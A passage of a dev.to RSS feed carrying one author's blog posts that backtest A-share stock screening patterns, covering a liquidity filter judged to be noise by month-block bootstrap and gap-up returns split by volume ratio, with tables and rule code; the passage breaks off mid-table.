&lt;li&gt;Skills I publish for this kind of audit work: &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;虾评 / xiaping&lt;/a&gt; and &lt;a href="https://github.com/Felixwang007/awesome-content-tools" rel="noopener noreferrer"&gt;github.com/Felixwang007/awesome-content-tools&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>My A-Share Screener Fired 6,548 Times. 85% Came From 11 Months — and My New Filter Was Noise</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 26 Oct 2026 12:17:40 +0000</pubDate>
      <link>https://dev.to/felixwang007/my-a-share-screener-fired-6548-times-85-came-from-11-months-and-my-new-filter-was-noise-3j33</link>
      <guid>https://dev.to/felixwang007/my-a-share-screener-fired-6548-times-85-came-from-11-months-and-my-new-filter-was-noise-3j33</guid>
      <description>&lt;p&gt;I maintain a three-pillar A-share screener: &lt;strong&gt;technical structure&lt;/strong&gt;, &lt;strong&gt;fundamentals&lt;/strong&gt;, and &lt;strong&gt;flow/intel&lt;/strong&gt;. Two of those pillars I refuse to backtest with the data I have, because I only hold &lt;em&gt;today's&lt;/em&gt; PE/PB snapshot and applying it to 2024 bars is textbook look-ahead. So the measurable pillar is the technical one, and this week I tried to "improve" it by adding a liquidity floor.&lt;/p&gt;

&lt;p&gt;It took 892,992 classified bars to learn that the floor moves the result by &lt;strong&gt;0.006 percentage points&lt;/strong&gt; — and to learn something more useful: why I nearly shipped it anyway.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Universe&lt;/strong&gt;: 3,184 A-shares whose last bar equals the market's last bar (2026-10-26). My local store had 3,487 files; 303 were stale tickers whose last bar was dated anywhere from 1994 to 2026-09. Excluded, not patched.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bars&lt;/strong&gt;: 641 daily qfq bars per stock from Tencent's &lt;code&gt;fqkline&lt;/code&gt; endpoint, sample window 2024-01-01 → 2026-10-26, 0.2 s per stock with 16 threads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Target&lt;/strong&gt;: forward 5-day close-to-close return, in percent.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Liquidity proxy&lt;/strong&gt;: 20-day mean traded value = &lt;code&gt;mean(volume_lots * 100 * close)&lt;/code&gt;, computed only from bars up to the signal day.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each bar earns at most one of six patterns, in a fixed precedence order, so "oversold" never double-counts a breakout:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;breakout&lt;/span&gt;        &lt;span class="n"&gt;close&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;high&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;vr&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.5&lt;/span&gt;
&lt;span class="n"&gt;high_vol_drop&lt;/span&gt;   &lt;span class="n"&gt;pos20&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.70&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;chg&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.0&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;vr&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.3&lt;/span&gt;
&lt;span class="n"&gt;oversold_bounce&lt;/span&gt; &lt;span class="n"&gt;ma5&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;ma20&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;c20&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;chg&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;2.0&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;vr&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.2&lt;/span&gt;
&lt;span class="n"&gt;quiet_pullback&lt;/span&gt;  &lt;span class="n"&gt;ma5&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ma20&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;chg&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;vr&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mf"&gt;0.85&lt;/span&gt;
&lt;span class="n"&gt;uptrend&lt;/span&gt;         &lt;span class="n"&gt;ma5&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ma10&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ma20&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;close&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ma20&lt;/span&gt;
&lt;span class="nf"&gt;flat            &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hi20&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;lo20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;lo20&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="nf"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mf"&gt;1.5&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;vr&lt;/code&gt; = today's volume / mean volume of the previous 5 bars. &lt;code&gt;pos20&lt;/code&gt; = where close sits inside the 20-day close range. &lt;code&gt;c20&lt;/code&gt; = 20-day return.&lt;/p&gt;

&lt;h2&gt;
  
  
  All six patterns on the same window
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;pattern&lt;/th&gt;
&lt;th&gt;n&lt;/th&gt;
&lt;th&gt;mean fwd5&lt;/th&gt;
&lt;th&gt;median&lt;/th&gt;
&lt;th&gt;win rate&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;oversold_bounce&lt;/td&gt;
&lt;td&gt;6,548&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+1.372%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;+0.814%&lt;/td&gt;
&lt;td&gt;54.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;flat&lt;/td&gt;
&lt;td&gt;184,618&lt;/td&gt;
&lt;td&gt;+0.421%&lt;/td&gt;
&lt;td&gt;+0.167%&lt;/td&gt;
&lt;td&gt;51.2%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;quiet_pullback&lt;/td&gt;
&lt;td&gt;233,645&lt;/td&gt;
&lt;td&gt;+0.362%&lt;/td&gt;
&lt;td&gt;−0.169%&lt;/td&gt;
&lt;td&gt;47.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;uptrend&lt;/td&gt;
&lt;td&gt;400,049&lt;/td&gt;
&lt;td&gt;+0.282%&lt;/td&gt;
&lt;td&gt;−0.336%&lt;/td&gt;
&lt;td&gt;46.5%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;breakout&lt;/td&gt;
&lt;td&gt;60,759&lt;/td&gt;
&lt;td&gt;−0.353%&lt;/td&gt;
&lt;td&gt;−1.379%&lt;/td&gt;
&lt;td&gt;40.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;high_vol_drop&lt;/td&gt;
&lt;td&gt;7,373&lt;/td&gt;
&lt;td&gt;−1.352%&lt;/td&gt;
&lt;td&gt;−2.234%&lt;/td&gt;
&lt;td&gt;38.7%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Market baseline (all 592k bars with a 5-day forward window) was +0.320% in 2024, +0.794% in 2025, and &lt;strong&gt;−0.239% in 2026&lt;/strong&gt;. The oversold pattern is rare — 6,548 hits out of 892,992 bars, 0.73% — and it is the only one with a mean meaningfully above drift.&lt;/p&gt;

&lt;h2&gt;
  
  
  The filter I was about to ship
&lt;/h2&gt;

&lt;p&gt;My reasoning was the usual one: tiny, illiquid names have fat slippage and fat spreads, so a liquidity floor should sharpen the mean. Floor = &lt;code&gt;amt20 &amp;gt;= 50M CNY&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;code&gt;close &amp;gt;= 3 CNY&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Then I split by year:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;window&lt;/th&gt;
&lt;th&gt;base mean&lt;/th&gt;
&lt;th&gt;floored mean&lt;/th&gt;
&lt;th&gt;delta&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;+0.992% (n=1,432)&lt;/td&gt;
&lt;td&gt;+0.456% (n=873)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−0.536 pp&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025&lt;/td&gt;
&lt;td&gt;+2.417% (n=2,042)&lt;/td&gt;
&lt;td&gt;+2.329% (n=1,789)&lt;/td&gt;
&lt;td&gt;−0.088 pp&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026&lt;/td&gt;
&lt;td&gt;+0.864% (n=3,078)&lt;/td&gt;
&lt;td&gt;+1.046% (n=2,773)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+0.182 pp&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;all&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;+1.372% (n=6,548)&lt;/td&gt;
&lt;td&gt;+1.378% (n=5,433)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+0.006 pp&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If I had only looked at 2026 — the year I actually care about right now — the floor would have looked like a clean +0.18 pp improvement with a small sample cost. It flips sign in 2024. A rule that flips sign by year isn't a filter, it's a bet on what kind of tape comes next.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why individual signals lie: 6,548 samples, 11 months
&lt;/h2&gt;

&lt;p&gt;Here is the part that mattered more than any mean.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The window has &lt;strong&gt;32 months&lt;/strong&gt;. &lt;strong&gt;11&lt;/strong&gt; of them hold &lt;strong&gt;84.7%&lt;/strong&gt; of all signals.&lt;/li&gt;
&lt;li&gt;The top 10 months = 83.1% of samples. The two biggest — 2026-07 (n=1,203) and 2025-04 (n=1,075) — are &lt;strong&gt;34.8%&lt;/strong&gt; of the entire sample.&lt;/li&gt;
&lt;li&gt;The median month has ~65 signals. Months noisily cluster around V-shaped rebounds, because that is precisely when &lt;code&gt;ma5 &amp;lt; ma20 and c20 &amp;lt;= -15&lt;/code&gt; plus a 2% up day plus volume appears.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So when I compute "mean return of the oversold pattern", I am not averaging 6,548 independent trades. I am averaging roughly a dozen macro episodes with a couple of thousand correlated siblings each. Any filter comparison inherits that structure.&lt;/p&gt;

&lt;p&gt;I resampled &lt;strong&gt;months&lt;/strong&gt;, not samples — 10,000 block bootstrap draws, seed 20261026:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;floor vs. all-signals mean difference
  point estimate          +0.006 pp
  95% CI (month blocks)   [-0.223, +0.172]
  floor was worse in      50.9% of draws
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is a coin flip, and I should say so instead of shipping a rule and calling it an edge. The honest statement the screener now emits is not "the floor improves returns" but "the floor is unmeasurable on this sample."&lt;/p&gt;

&lt;h2&gt;
  
  
  What actually did change
&lt;/h2&gt;

&lt;p&gt;Signal frequency, which nobody puts in the headline:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;year&lt;/th&gt;
&lt;th&gt;oversold signals&lt;/th&gt;
&lt;th&gt;trading days&lt;/th&gt;
&lt;th&gt;signals/day&lt;/th&gt;
&lt;th&gt;excess over baseline&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;1,432&lt;/td&gt;
&lt;td&gt;205&lt;/td&gt;
&lt;td&gt;6.99&lt;/td&gt;
&lt;td&gt;+0.672 pp&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025&lt;/td&gt;
&lt;td&gt;2,042&lt;/td&gt;
&lt;td&gt;243&lt;/td&gt;
&lt;td&gt;8.40&lt;/td&gt;
&lt;td&gt;+1.623 pp&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026 (to 10-26)&lt;/td&gt;
&lt;td&gt;3,078&lt;/td&gt;
&lt;td&gt;194&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;15.87&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;+1.103 pp&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Frequency per day more than doubled while the raw mean fell from +2.417% to +0.864%. Some of that drop is just a market that stopped drifting up (baseline −0.239% in 2026), which is why I compute excess over baseline at all — excess only fell from 1.62 to 1.10. But a pattern that fires 16 times a day instead of 7 is a different instrument, and it deserves a crowding check before a filter check. October 2026 so far: n=92, mean &lt;strong&gt;−4.98%&lt;/strong&gt;, win rate &lt;strong&gt;19.6%&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  A data-hygiene bug that produced a fake +200% signal count
&lt;/h2&gt;

&lt;p&gt;My first live scan of the day printed &lt;strong&gt;50&lt;/strong&gt; oversold signals. It looked like a rich tape. Then I gated the universe on &lt;code&gt;last_bar_date == market_last_date&lt;/code&gt; and the count fell to &lt;strong&gt;16&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;34 of those 50 "today" signals came from files whose last bar was months or years old — suspended, delisted, or long-halted tickers still sitting in my store. Nothing errored. Every number was internally consistent. The scan was just classifying the past and labelling it today.&lt;/p&gt;

&lt;p&gt;Two rules from that:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Gate the universe on the market's own last bar before classifying anything.&lt;/li&gt;
&lt;li&gt;Check the price level as part of hygiene, not as a strategy tweak. Of today's 16 raw triggers, 4 trade under 2 CNY — delisting-adjacent names where "oversold" describes an accounting event, not a bounce candidate.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What the screener does now
&lt;/h2&gt;

&lt;p&gt;Not more filters. More refusals:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Every pattern report carries the &lt;strong&gt;cluster count&lt;/strong&gt; (how many months hold the samples) next to the sample count.&lt;/li&gt;
&lt;li&gt;Any filter claim must clear a &lt;strong&gt;month-block bootstrap&lt;/strong&gt; CI that excludes zero, otherwise it is reported as &lt;code&gt;unmeasured&lt;/code&gt;, not as an improvement.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Baseline drift&lt;/strong&gt; is always printed beside the pattern mean, so 2026's lower raw numbers don't get misread as decay caused by the pattern.&lt;/li&gt;
&lt;li&gt;Signal frequency per trading day is tracked as a first-class output, since it's the cheapest available crowding proxy.&lt;/li&gt;
&lt;li&gt;Universe is gated on the market's last bar, and a price floor is applied as &lt;strong&gt;hygiene&lt;/strong&gt; (it removes delisting-adjacent rows), not as alpha.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Today's scan of the 3,184 live names: flat 335, uptrend 174, quiet_pullback 87, breakout 66, oversold_bounce 16, high_vol_drop 4. Twelve of the sixteen oversold names survive &lt;code&gt;amt20 &amp;gt;= 50M and close &amp;gt;= 3&lt;/code&gt; — and per the bootstrap above, that floor's contribution to my returns is, honestly, unknown.&lt;/p&gt;

&lt;h2&gt;
  
  
  The code
&lt;/h2&gt;

&lt;p&gt;Both scripts and the full result tables are in the repo — &lt;code&gt;liquidity_study_20261026.py&lt;/code&gt; builds the sample and the bucket table, &lt;code&gt;episode_block_bootstrap.py&lt;/code&gt; runs the month-level resampling:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Repo: &lt;a href="https://github.com/Felixwang007/a-share-signal-lab" rel="noopener noreferrer"&gt;https://github.com/Felixwang007/a-share-signal-lab&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Data source: Tencent &lt;code&gt;web.ifzq.gtimg.cn/appstock/app/fqkline/get&lt;/code&gt; (free, no key), 641 qfq bars/stock in ~55 s for 3,487 tickers with 16 threads.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you build screeners on Chinese equities, the transferable part isn't my thresholds — it's that a signal which looks strong in one year and weak in another, on a few thousand clustered samples, is not a measurable improvement. Count your clusters before you count your hits.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Not investment advice. Nothing here is a recommendation to buy any ticker listed; the measured claim is about the screener, not the stocks.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>Everyone Says Volume Confirms a Gap-Up. 1.9 Million A-Share Stock-Days Say the Opposite.</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 22 Oct 2026 15:53:21 +0000</pubDate>
      <link>https://dev.to/felixwang007/everyone-says-volume-confirms-a-gap-up-19-million-a-share-stock-days-say-the-opposite-2gpb</link>
      <guid>https://dev.to/felixwang007/everyone-says-volume-confirms-a-gap-up-19-million-a-share-stock-days-say-the-opposite-2gpb</guid>
      <description>&lt;p&gt;A gap up on heavy volume is supposed to be &lt;em&gt;confirmation&lt;/em&gt;. A gap up on thin volume is&lt;br&gt;
supposed to be a trap.&lt;/p&gt;

&lt;p&gt;I finally had the data to check it: 641 adjusted daily bars for &lt;strong&gt;3,116 Shanghai/Shenzhen&lt;br&gt;
main-board stocks — 1.91 million stock-days&lt;/strong&gt;, running through the 2026-10-22 close, pulled&lt;br&gt;
from a free public quote endpoint. No vendor, no API key, no paid feed.&lt;/p&gt;

&lt;p&gt;The folklore is backwards. Holding gap size fixed, the &lt;strong&gt;below-average-volume&lt;/strong&gt; gap beat the&lt;br&gt;
&lt;strong&gt;3x-volume&lt;/strong&gt; gap in every bucket I measured, on both the next day and five days out. And the&lt;br&gt;
bucket most retail traders chase — opening at the board limit — was the worst one of all.&lt;/p&gt;
&lt;h2&gt;
  
  
  What I measured
&lt;/h2&gt;

&lt;p&gt;One row per stock-day &lt;code&gt;t&lt;/code&gt;, using split/dividend-adjusted (qfq) prices:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;field&lt;/th&gt;
&lt;th&gt;definition&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;open[t] / close[t-1] - 1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;vr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;volume[t] / mean(volume[t-20 .. t-1])&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;next1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;close[t+1] / close[t] - 1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fwd5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;close[t+5] / close[t] - 1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;ST and delisting names are dropped (they have corporate-action artifacts in adjusted prices&lt;br&gt;
that show up as fake gaps — one sample in the raw file printed a +632% "next day"). Everything&lt;br&gt;
else on the main board is included, ~1.9M samples after cleaning.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Baseline, for reference:&lt;/strong&gt; all stock-days, next-day mean +0.07% / median 0.00% / win 48.0%;&lt;br&gt;
five-day mean +0.36% / median -0.13% / win 48.2%. The split &lt;em&gt;is&lt;/em&gt; the drift — keep it in view,&lt;br&gt;
because every number below has to beat it to mean anything.&lt;/p&gt;
&lt;h2&gt;
  
  
  1. Gap size alone
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;gap bucket&lt;/th&gt;
&lt;th&gt;n&lt;/th&gt;
&lt;th&gt;next-day mean&lt;/th&gt;
&lt;th&gt;next-day median&lt;/th&gt;
&lt;th&gt;next-day win&lt;/th&gt;
&lt;th&gt;5-day mean&lt;/th&gt;
&lt;th&gt;5-day median&lt;/th&gt;
&lt;th&gt;5-day win&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;+2~3%&lt;/td&gt;
&lt;td&gt;29,691&lt;/td&gt;
&lt;td&gt;+0.49%&lt;/td&gt;
&lt;td&gt;+0.19%&lt;/td&gt;
&lt;td&gt;52.0%&lt;/td&gt;
&lt;td&gt;+0.36%&lt;/td&gt;
&lt;td&gt;-0.45%&lt;/td&gt;
&lt;td&gt;46.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+3~5%&lt;/td&gt;
&lt;td&gt;19,332&lt;/td&gt;
&lt;td&gt;+0.81%&lt;/td&gt;
&lt;td&gt;+0.47%&lt;/td&gt;
&lt;td&gt;54.1%&lt;/td&gt;
&lt;td&gt;+0.32%&lt;/td&gt;
&lt;td&gt;-0.92%&lt;/td&gt;
&lt;td&gt;44.7%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+5~9%&lt;/td&gt;
&lt;td&gt;9,480&lt;/td&gt;
&lt;td&gt;+0.91%&lt;/td&gt;
&lt;td&gt;+0.47%&lt;/td&gt;
&lt;td&gt;53.1%&lt;/td&gt;
&lt;td&gt;+0.91%&lt;/td&gt;
&lt;td&gt;-1.45%&lt;/td&gt;
&lt;td&gt;43.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;≥9% (opens at the limit)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9,310&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-0.34%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-1.76%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;45.4%&lt;/td&gt;
&lt;td&gt;-0.90%&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-6.44%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;32.8%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The middle buckets do carry a next-day edge above the +0.07% baseline — modest, but real and&lt;br&gt;
monotone from +2% to +9%.&lt;/p&gt;

&lt;p&gt;Then the limit-up gap flips: &lt;strong&gt;median -6.4% over the next five days, with only 32.8% of cases&lt;br&gt;
positive.&lt;/strong&gt; The trade the crowd wants most is the one with the worst distribution. If you buy&lt;br&gt;
a stock because it opened limit-up, two out of three lose over the week.&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Gap × volume ratio — the sign flips
&lt;/h2&gt;

&lt;p&gt;This is the part that broke my prior. Holding gap size fixed, split by volume ratio&lt;br&gt;
(limit-up gaps excluded — see the data trap at the end):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;cell&lt;/th&gt;
&lt;th&gt;n&lt;/th&gt;
&lt;th&gt;next-day mean&lt;/th&gt;
&lt;th&gt;next-day median&lt;/th&gt;
&lt;th&gt;next-day win&lt;/th&gt;
&lt;th&gt;5-day mean&lt;/th&gt;
&lt;th&gt;5-day median&lt;/th&gt;
&lt;th&gt;5-day win&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;+5~9% gap, vr&amp;lt;1&lt;/td&gt;
&lt;td&gt;1,431&lt;/td&gt;
&lt;td&gt;+2.88%&lt;/td&gt;
&lt;td&gt;+3.22%&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;67.6%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;+8.09%&lt;/td&gt;
&lt;td&gt;+3.20%&lt;/td&gt;
&lt;td&gt;62.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+5~9% gap, vr 1-2&lt;/td&gt;
&lt;td&gt;2,637&lt;/td&gt;
&lt;td&gt;+0.87%&lt;/td&gt;
&lt;td&gt;+0.39%&lt;/td&gt;
&lt;td&gt;52.9%&lt;/td&gt;
&lt;td&gt;+1.31%&lt;/td&gt;
&lt;td&gt;-0.44%&lt;/td&gt;
&lt;td&gt;47.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+5~9% gap, vr 2-3&lt;/td&gt;
&lt;td&gt;1,898&lt;/td&gt;
&lt;td&gt;+0.81%&lt;/td&gt;
&lt;td&gt;+0.34%&lt;/td&gt;
&lt;td&gt;51.8%&lt;/td&gt;
&lt;td&gt;-0.20%&lt;/td&gt;
&lt;td&gt;-1.78%&lt;/td&gt;
&lt;td&gt;41.5%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+5~9% gap, vr&amp;gt;3&lt;/td&gt;
&lt;td&gt;3,514&lt;/td&gt;
&lt;td&gt;+0.20%&lt;/td&gt;
&lt;td&gt;-0.25%&lt;/td&gt;
&lt;td&gt;48.0%&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-1.71%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-3.32%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;34.2%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+3~5% gap, vr&amp;lt;1&lt;/td&gt;
&lt;td&gt;3,812&lt;/td&gt;
&lt;td&gt;+1.07%&lt;/td&gt;
&lt;td&gt;+0.80%&lt;/td&gt;
&lt;td&gt;59.4%&lt;/td&gt;
&lt;td&gt;+2.39%&lt;/td&gt;
&lt;td&gt;+0.91%&lt;/td&gt;
&lt;td&gt;54.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+3~5% gap, vr&amp;gt;3&lt;/td&gt;
